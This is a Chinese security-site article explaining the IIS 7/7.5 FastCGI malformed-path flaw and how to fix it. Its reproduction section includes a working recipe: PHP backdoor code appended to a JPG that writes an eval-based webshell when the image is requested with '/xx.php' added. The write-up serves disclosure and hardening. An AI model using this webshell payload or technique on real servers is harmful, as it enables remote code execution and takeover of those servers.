freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

iis7或7.5对文件名畸形解析导致远程代码执行
2019-03-13 12:33:24

iis7/7.5对文件名畸形解析导致远程代码执行

详细描述

Microsoft Internet信息服务(IIS)是MicrosoftWindows自带的一个网络信息服务器。

IIS7/7.5当以CGI的方式运行PHP时,在处理PHP文件路径的解析时存在问题。如果网站允许上传文件,而且上传文件路径可得到,远程攻击者可以利用此漏洞上传包含恶意代码的文件并得到执行,实现以Web进程权限执行任意命令。

攻击者上传允许上传的文件类型,文件中包含恶意代码,得到上传文件的URL后,在其后添加任意php后缀的文件名进行访问,会把上传的文件作为CGI脚本执行。

漏洞复现

IIS 7/7.5在Fast-CGI运行模式下,如果在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。

图片.png

常用利用方法:将一张图和一个写入后门代码的文本文件合并将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾

e.g. copy xx.jpg/b + yy.txt/a xy.jpg

######################################

/b 即二进制[binary]模式

/a 即ascii模式 xx.jpg正常图片文件

yy.txt 内容 <?PHPfputs(fopen('shell.php','w'),'<?php eval($_POST[IIS])?>');?>

意思为写入一个内容为 <?php eval($_POST[IIS])?> 名称为shell.php的文件

######################################

找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 即可执行恶意文本。

然后就在图片目录下生成一句话木马 shell.php 密码 IIS

前提条件

该解析漏洞利用需要两个条件

1)  php.ini里cgi.fix_pathinfo=1(默认为1)

图片.png

2)  在”Handler Mapping”中取消勾选以下内容:

图片.png

解决方案

1)配置cgi.pathinfo(php.ini中)为0并重启php-cgi程序

图片.png

2)在”Handler Mapping”勾选php-cgi.exe程序的”Invoke handler only if request is mapped to”

图片.png 

3)重新配置iis,使用ISAPI的方式(注意:PHP5.3.1已经不支持ISAPI方式)。



# iis7或iis7.5对文件名畸形解析导致漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者